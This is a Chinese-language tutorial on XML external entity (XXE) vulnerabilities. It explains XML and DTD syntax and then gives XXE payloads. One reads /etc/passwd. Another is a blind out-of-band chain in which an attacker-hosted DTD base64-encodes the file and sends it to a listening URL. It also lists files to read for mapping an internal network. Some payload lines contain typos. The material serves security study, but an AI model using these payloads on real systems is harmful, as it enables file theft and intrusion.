xxe漏洞总结

0x 01 基础知识

XML基础知识

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML语法规则如下:

  1. 所有的XML元素都必须有一个关闭标签
  2. XML标签对大小写敏感
  3. XML必须正确嵌套
  4. XML属性值必须加引号””
  5. 实体引用(在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<傅好对应的实体就是lt,>符号对应的实体就是gt)
  6. 在XML中,空格会被保留(案例如:

    a空格B

    ,这时候a和B之间的空格就会被保留)
1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>  //xml声明
<!DOCTYPE copyright [ //DTD(文档类型定义)
<!ELEMENT note (to,reset,login)> //定义元素
<!ENTITY test SYSTEM "url"> //定义外部实体test
]>
<to>
<reset> //下面为文档元素
<login>&test;</login> //调用test实体(此步骤不可缺)
<secret>login</secret>
</reset>
<to>

XML DTD介绍

DTD文档类型定义,约束了xml文档的结构。拥有正确语法的XML被称为“形式良好”的XML,通过DTD验证约束XML是“合法”的XML。

示例代码:

1
2
3
4
5
6
7
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

示例代码:

1
2
3
4
5
6
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容)

示例代码:

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

示例代码:

1
2
3
4
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

DTD实体介绍

  • 实体定义

    实体是用于定义引用普通文本或者特殊字符的快捷方式的变量

在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为一般实体和参数实体。除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。

内部实体:

1
<!ENTITY 实体名称 "实体的值">

外部实体:

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

外部参数实体:

1
<!ENTITY % 实体名 "实体内容”>

0x 02 XML注入产生的原理

​ XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

0x 03 常见攻击方法

3.1 有回显读本地敏感文件(Normal XXE)

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><username>&xxe;</username><password>admin</password></user>

注意:

直接读取php文件会报错,因为php文件里面有<>//等特殊字符,xml解析时候会当成xml语法来解析。这时候就分不清处哪个是真正的xml语句了,

直接利用file协议读取PHP文件,就会产生报错,那么需要base64编码来读取

3.2 无回显读取本地敏感文件(Blind OOB XXE)

  • 攻击流程:
    1. 客户端发送payload 1给web服务器
    2. web服务器向vps获取恶意DTD,并执行文件读取payload2
    3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP
    4. 通过VPS获得回显(nc监听端口)

我们选择使用外部DTD,在主机上编写一个dtd文件:

1
2
3
4
5
<!ENTITY % file SYSTEM “PHP://filter/read=convert.base64-encode/resource=/etc/passwd”>

<!ENTITY % all “<!ENTITY send SYSTEM ‘监听的url+端口/?file;’>”>

%all;

Payload如下:

1
2
3
4
5
<?xml version=”1.0” encoding=”utf-8” ?>

<!DDOCTYPE root SYSTEM “dtd文件”>

<root>&send;</root>

我们先声明一个外部的DTD引用,然后再xml文档内容中引用外部DTD中的一般实体。

3.3 HTTP 内网主机探测

我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host

1
2
3
/proc/net/fib_trie  路由树
/etc/hosts linux系统中负责ip地址与域名快速解析的文件
/proc/net/arp //arp表,可以获得内网其他机器的地址

利用http协议继续访问内网主机或者进行内网主机端口扫描

最后放一个payload集合:https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/

参考资料:

https://xz.aliyun.com/t/3357

https://www.anquanke.com/post/id/197423

https://xz.aliyun.com/t/6887